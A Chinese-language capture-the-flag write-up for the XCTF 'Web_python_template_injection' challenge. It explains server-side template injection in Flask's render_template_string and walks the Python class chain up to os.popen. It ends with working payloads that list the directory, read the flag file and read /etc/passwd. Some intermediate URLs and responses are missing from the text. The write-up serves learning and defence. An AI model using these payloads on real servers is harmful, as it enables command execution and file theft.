攻防世界Web_python_template_injection

题目：

就一句话啥也没有。python 模板注入。刚学菜鸡还不知道python模板有哪些注入漏洞，上网查一下。又学到一个知识点。

python常用的web 模板有 Django，Jinja2,Tornado, Flask等

其中，Flask模板中有两个渲染函数render_template和render_template_string。

render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串，在渲染的时候会把**{undefined{}}**包裹的内容当做变量解析替换。

解题思路：

什么是模板注入呢？
为了写 html 代码的时候方便，很多网站都会使用模板，先写好一个 html 模板文件，
比如：

```python
def test():
code = request.args.get('id')
html = '''
<h3>%s</h3>
'''%(code)
return render_template_string(html)
```

这段代码中的 `html` 就是一个简单的模板文件，当开发者想要这个模板对应的样式时，可以直接用 `render_template_string` 方法来调用这个模板，从而直接把这个样
式渲染出来。而模板注入，就是指将一串指令代替变量传入模板中让它执行*，以这段代码为例，我们在传入 `code` 值时，可以用 `{{}}` 符号来包裹一系列代码，以此替代本应是
参数的 `id` ：
http://..../?id={{代码}}
知道了什么是模板文件，接下来开始模板注入环节:
首先，先测试一下是不是确实能注入，构造一个简单的测试 url:

服务器回传`6` 的存在说明 `3+3` 这条指令被忠实地执行了。
接下来，开始想办法编代码拿到服务器的控制台权限：

首先，题目告诉我们这是一个 python 注入问题，那么脚本肯定也是 python 的。

思考怎样用 python 语句获取控制台权限：

想到了 `os.system` 和 `os.popen` 。前者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**。

我们想要的是内容，所以选择 `os.popen` 。
知道了要用这一句，那么我要怎么找到这一句呢？

python 给我们提供了完整的寻找链([参考资料](https://www.cnblogs.com/tr1ple/p/9415641.html))：

__class__ ：// 返回对象所属的类
__mro__ ： // 返回一个类所继承的基类元组，方法在解析时按照元组的　顺序解析。
__base__ ：// 返回该类所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__  // 每个新类都保留了子类的引用，这个方法返回一个类中仍然可引用的列表
__init__ ： 类的初始化方法
__globals__ ： 对包含函数全局变量的字典的引用    

- 首先，找到当前变量所在的类：

服务器回复：告诉我们 这个变量的类是 'str' 了。
接下来，从这个类找到它的基类：

服务器回复：
<type 'str'>, <type 'basestring'>, <type 'object'>) 发现基类也有了。

- 然后，通过基类来找其中任意一个基类的引用列表：
这里有个小细节，`__mro__[]` 中括号里填谁其实区别都不大，这些基类引用的东西都一样。

从其中可以找到我们想要的 `os` 所在的 `site._Printer` 类，它在列表的第七十二位，
即 `__subclasses__()[71]` 。

- 通过 `__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()` 来调用服务器的控制台并显示,这下我们就可以随便用控制台输出了。
直接填命令语句：

注意这里的 `popen('ls').read()` ,意思是得到 ls 的结果并读取给变量，因此它会把当前目录所有文件都打印在我们的网页上。
从这里我们看到，flag 存在一个叫 `fl4g` 的无后缀文件里，那就好办了，再构造一个 payload，用 `cat` 读一下内容：

获得flag。

总结：

常用的几个payload如下：

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()